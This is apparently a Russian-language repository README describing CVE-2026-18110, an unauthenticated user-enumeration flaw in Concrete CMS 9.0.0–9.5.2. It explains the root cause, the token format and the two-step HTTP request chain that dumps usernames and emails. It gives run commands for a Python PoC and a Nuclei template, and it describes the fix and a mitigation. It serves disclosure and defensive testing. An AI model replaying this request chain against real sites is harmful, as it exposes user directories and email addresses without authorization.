
Python PoC и шаблон Nuclei для эксплуатации CVE-2026-18110 — уязвимости перечисления пользователей без аутентификации в Concrete CMS 9.0.0-9.5.2 через endpoint автодополнения пользователей.
Concrete CMS 9.0.0 – 9.5.2 не выполняет проверку авторизации на конечной точке автодополнения выбора пользователя (/ccm/system/user/autocomplete), которая обеспечивает работу панели "Preview as User" и других компонентов выбора пользователя. Это позволяет неаутентифицированному удалённому злоумышленнику перечислить весь внутренний каталог пользователей — включая идентификаторы пользователей, имена пользователей и адреса электронной почты — без действительной сессии или учётных данных.
Уязвимость является классическим случаем (неправильного) использования CSRF-токена в качестве средства контроля авторизации: токен подтверждает целостность запроса, но никогда не отвечает на фактический вопрос безопасности — разрешено ли вызывающему субъекту запрашивать список пользователей.
| Продукт | Затронутые | Исправлено |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
Панель Preview As User зарегистрирована в concrete/routes/panels.php по базовому пути /ccm/system/panels:
GET /ccm/system/panels/page/preview_as_user
Её контроллер (concrete/controllers/panel/page/preview_as_user.php) вызывает UserSelector::quickSelect() для отрисовки Vue-компонента <concrete-user-select>. В отличие от родственного метода selectUser(), который корректно проверяет canAccessUserSearch(), quickSelect() не выполняет проверку прав перед созданием и встраиванием токена:
// concrete/src/Form/Service/Widget/UserSelector.php (уязвимая версия — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// Здесь нет проверки прав — токен отрисовывается безусловно
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
Таким образом, HTML-ответ, отрисованный на сервере, раскрывает действительный access-token любому посетителю — включая неаутентифицированных — который может достичь этого маршрута.
Значение access-token имеет формат:
{unix_timestamp}:{md5_hash}
Где хеш вычисляется на стороне сервера как:
md5( timestamp : userID : action : pepper )
timestamp — время UNIX на момент генерации, передаётся в открытом виде как префикс токена.userID — идентификатор пользователя запрашивающего на момент генерации; 0 для неаутентифицированных посетителей.action — строка user_select:format:{labelFormat}:avatar:{includeAvatar}, где оба значения контролируются злоумышленником через параметры запроса.pepper — 64-символьный случайный секрет, генерируемый один раз при установке и хранящийся в application/config/generated_overrides/concrete.php.Токены действительны в течение 24 часов и полностью воспроизводимы в течение этого окна — нет принудительного использования одноразовых/nonce-токенов. Также отсутствует проверка нижней границы временной метки, что делает проверку свежести односторонней.
1. GET /ccm/system/panels/page/preview_as_user
↓
Сервер отвечает HTML, содержащим:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Сервер отвечает полным списком пользователей:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
Вызов checkAccess() внутри view() пересчитывает хеш, используя uID текущего запроса (0 для гостей) — что идеально совпадает, поскольку токен также был сгенерирован с uID=0. Проверка проходит, и возвращается полный каталог пользователей.
Шлюз canAccess() / checkAccess() на конечной точке автодополнения проверяет целостность токена (не подделан, не истёк), но никогда не проверяет авторизацию (разрешено ли этому вызывающему субъекту искать пользователей?). Действительность CSRF-токена не заменяет проверку авторизации. По сравнению с getSelectedUsers() в том же контроллере, который корректно вызывает Checker::canViewUser() для каждого результата, view() не имеет эквивалентной проверки.
Python-скрипт + шаблон обнаружения Nuclei включены в этот репозиторий. Python-скрипт можно использовать только против одного URL. Если вы хотите тестировать несколько целей одновременно, используйте вместо него nuclei. Оба автоматизируют двухэтапную цепочку, описанную выше, и сопоставляют подтверждённые данные пользователей в ответе Шага 2.
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
Предназначено для использования только против систем, которые вы уполномочены тестировать.
Обновитесь до Concrete CMS 9.5.3 или более поздней версии. Исправление вводит проверку авторизации на этапе выдачи токена (quickSelect()), согласованную с существующим шлюзом canAccessUserSearch(), уже присутствующим в selectUser(), и добавляет эквивалентную проверку прав внутри view() контроллера автодополнения, повторяя шаблон Checker::canViewUser(), уже корректно используемый getSelectedUsers().
Если немедленное обновление невозможно, рассмотрите блокировку неаутентифицированного доступа к /ccm/system/panels/ на уровне веб-сервера или WAF в качестве временной меры.
Этот репозиторий публикуется в образовательных целях и для целей защитной безопасности. Все тестирования проводились против систем при явном разрешении. Авторы не несут ответственности за любое неправомерное использование информации или инструментов, содержащихся здесь.